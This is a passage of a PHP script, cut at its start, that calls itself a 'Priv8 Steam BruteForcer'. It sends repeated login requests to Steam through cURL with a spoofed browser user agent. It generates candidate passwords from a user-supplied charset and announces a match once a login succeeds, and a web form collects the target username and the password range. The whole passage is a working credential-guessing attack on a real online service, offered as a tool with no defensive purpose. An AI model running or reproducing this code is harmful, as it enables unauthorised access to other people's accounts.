", "

")) { return "Logged in"; }else{ return "Login Failure"; } } function post($site, $data) { $rand = rand(1, 9999); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$site); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,$data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_REFERER, $site); curl_setopt($ch, CURLOPT_COOKIEFILE, "tmp2.txt"); curl_setopt($ch, CURLOPT_COOKIEJAR, "tmp2.txt"); $result = curl_exec ($ch); return $result; } function next_pass($pass,$charset,$pos=1) { // borrowed from xprog $offset = strlen($pass) - $pos; if ($offset == -1) { //did all passwords in current length, increasing length. $pass{$offset+1} = substr($charset,0,1); $pass .= substr($charset,0,1); } else { $char = $pass{$offset}; $charset_pos = strpos($charset,$char)+1; if ($charset_pos == strlen($charset)) { //offset char reached end of charset, moving up one. $pass{$offset} = substr($charset,0,1); $pass = next_pass($pass,$charset,$pos+1); } else { //incrementing offset char. $pass{$offset} = substr($charset,$charset_pos,1); } } return $pass; } function Full_Login($user, $pass) { $input = Login_Steam($user, $pass); $output = match_login($input); return $output; } while ($pass != $end and !$found) { if (Full_Login($user, $pass) == "Logged in") { die("
Logged in with $user $pass
"); $found = TRUE; }else{ echo "[~] Failed with $pass
"; $pass = next_pass($pass,$char); } $count++; } if(!found) { echo "Failed to login with any of the ($count) attempts, change your charset or pass limit"; } }else{ echo '
Priv8 Steam BruteForcer [Mad-Hatter]


Username:
Charset:
Start:
End:
'; $user = $_POST['user']; $char = $_POST['char']; $start = $_POST['start']; $end = $_POST['end']; } ?>